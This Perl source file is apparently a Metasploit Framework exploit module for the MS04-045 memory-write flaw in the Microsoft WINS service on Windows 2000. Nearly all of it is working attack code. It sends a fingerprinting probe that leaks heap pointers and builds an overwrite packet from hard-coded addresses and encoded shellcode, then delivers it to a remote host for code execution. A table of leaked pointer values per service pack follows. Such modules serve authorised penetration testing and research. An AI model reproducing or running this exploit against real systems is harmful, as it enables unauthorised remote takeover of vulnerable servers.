##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;

my $advanced = 
{
  'BASE'  => [0, 'Specify the exact address to the structure'],
  'TARG'  => [0, 'Specify the exact address to overwrite'],
  'WHAT'  => [0, 'Specify the data used to overwrite the address'],
};

my $info =
{
    'Name'  => 'Microsoft WINS MSO4-045 Code Execution',
    'Version'  => '$Revision: 1.18 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000' ],
    'Priv'  => 1,
    'AutoOpts'  => { 'EXITFUNC' => 'process' },
    'UserOpts'  => 
  {
    'RHOST'  => [1, 'ADDR', 'The target address'],
    'RPORT'  => [1, 'PORT', 'The target port', 42],
  },

    'Payload' => 
  {
    'Space'   => 8000,
    'MinNops'  => 512,
    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  # add esp, -3500
    'Keys'     => ['+ws2ord'],
  },
    
    'Description'  => Pex::Text::Freeform(qq{
  This module exploits a arbitrary memory write flaw in the WINS service.
    }),
                
    'Refs'  =>  
     [  
    ['MSB',     'MS04-045'],
  ],
    'Targets'   =>
  [
    ['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
  ],
  'Keys'  =>  ['wins'],                 
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Check {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');  
  
  my ($ret, $fprint, $check) = @{ $self->Fingerprint };
  
  if ($ret < 0) {
    return $check;
  }
  
  if ($ret == 0) {
    $self->PrintLine("[*] This system does not appear to be vulnerable.");
    return $check;
  }
  
  $self->PrintLine("[*] This system appears to be vulnerable.");
  if ($fprint->{'os'} ne '?') {
    my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};
    my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};
    my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';
    my $hp = length($sp) ? $vi : '';
    $self->PrintLine("[*] Host $target_host is $os $sp $hp");
  }
  
  return $self->CheckCode('Safe');
}

sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
    
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
   
  my $target = $self->Targets->[$target_idx];
 
  if (! $self->InitNops(128)) {
    $self->PrintLine("[*] Failed to initialize the nop module.");
    return;
  }
  
  # Sanity check the WINS service
  my ($ret, $fprint, $check) = @{ $self->Fingerprint };
  
  if ($ret <= 0) {
    $self->PrintLine("[*] The target system does not appear to be vulnerable.");
    return;
  }
  
  
  # Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
  # same function pointer...
  if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {
    $self->PrintLine("[*] The target system is not currently supported");
    return;
  }
  
  # This flag is un-set if the first leaked address is not the default of
  # 0x05371e90. This can indicate that someone has already tried to exploit
  # this system, or something major happened to the heap that will probably
  # prevent this exploit from working.
  if (! $fprint->{'vi'}) {
    $self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
  }
  
  # Allow for multiple attempts to find the base address
  # XXX - Brute force not implemented (or required so far)
  my @rloc = @{ $target->[1] };
  
  # Address of the function pointers to overwrite (courtesy anonymous donor)
  my $targ = $target->[2];
  
  # Address of the payload on the heap, past the structure
  my $code = $target->[3];
  
  # Advanced options can be used to overwrite
  @rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');
  $targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');
  $code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');
  
  
  
  foreach my $base (@rloc) {
    my ($req, $add);
    
    # Pointing at any aligned address into top 36 bytes will result in a 
    # valid structure. This gives us some breathing room if things move 
    # around a little bit.
    $add .= pack('V', $code) x 9;
    $add .= pack('V', $targ - 0x48) x 14;
    
    # Multiple copies are used in case things slide a little bit
    $req .= $add x 10;
    
    # Bling.
    $req .= $shellcode;

    # Random padding :-)
    $req .= Pex::Text::EnglishText(9200 - length($req));
    
    # Tack on the header
    my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;
    
    # Poink!
    $self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
    my $s = Msf::Socket::Tcp->new
      (
          'PeerAddr'  => $target_host,
          'PeerPort'  => $target_port,
      );

      if ($s->IsError) {
          $self->PrintLine("[*] Socket error: " . $s->GetError());
          return(0);
      }

    $s->Send($pkt);
    $self->Handler($s);
  }

  return;
}

# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.

sub Fingerprint {
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');  
  my $fprint = {};
  
  # This results in vulnerable servers leaking back some useful
  # pointers to the heap and to ntdll.dll. We can use these pointers
  # to determine the service pack.
  
  my $req = 
    "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
    "\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
    "\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";
    
  my $s = Msf::Socket::Tcp->new
  (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
  );

  if ($s->IsError) {
    $self->PrintLine("[*] Socket error: " . $s->GetError());
    return [-2, $fprint, $self->CheckCode('Connect') ];
  }

  $s->Send($req);  
  my $res = $s->Recv(-1, 5);
  if (! $res) {
    $self->PrintLine("[*] No response to WINS probe.");
    $s->Close;
    return [-1, $fprint, $self->CheckCode('Connect') ];
  }
  
  my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );  
  $self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));

    
  my ($os, $sp, $vi) = ('2000', '?', '?');
  
  # Windows 2000 versions
  $sp = '0'  if $ptrs[3] == 0x77f8ae78;
  $sp = '1'  if $ptrs[3] == 0x77f81f70;
  $sp = '2'  if $ptrs[3] == 0x77f82680;
  $sp = '3'  if $ptrs[3] == 0x77f83608;
  $sp = '4'  if $ptrs[3] == 0x77f89640;
  $sp = '4++'  if $ptrs[3] == 0x77f82518;

  # Probably not Windows 2000...
  $os = '?' if $sp eq '?';
    
  # Windows NT 4.0
  if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
    $os = 'NT';
    $sp = '?';
  }
  
  # Heap is still pristine...
  $vi = 1 if $ptrs[0] == 0x05371e90;
  
  # Store the fingerprints....
  $fprint->{'os'} = $os;
  $fprint->{'sp'} = $sp;
  $fprint->{'vi'} = $vi;

  # Probe to test vulnerability
  $req =  "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
      "\x00\x00\x00\x03\x00\x00\x00\x00";
    $s->Send($req);
    $res = $s->Recv(-1, 3);
  
    $s->Close;

    if (substr($res, 6, 1) eq "\x78") {
    return [1, $fprint, $self->CheckCode('Appears') ];
    }
  
  return [0, $fprint, $self->CheckCode('Safe') ];
}

1;

__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)

NT4 
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e

2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac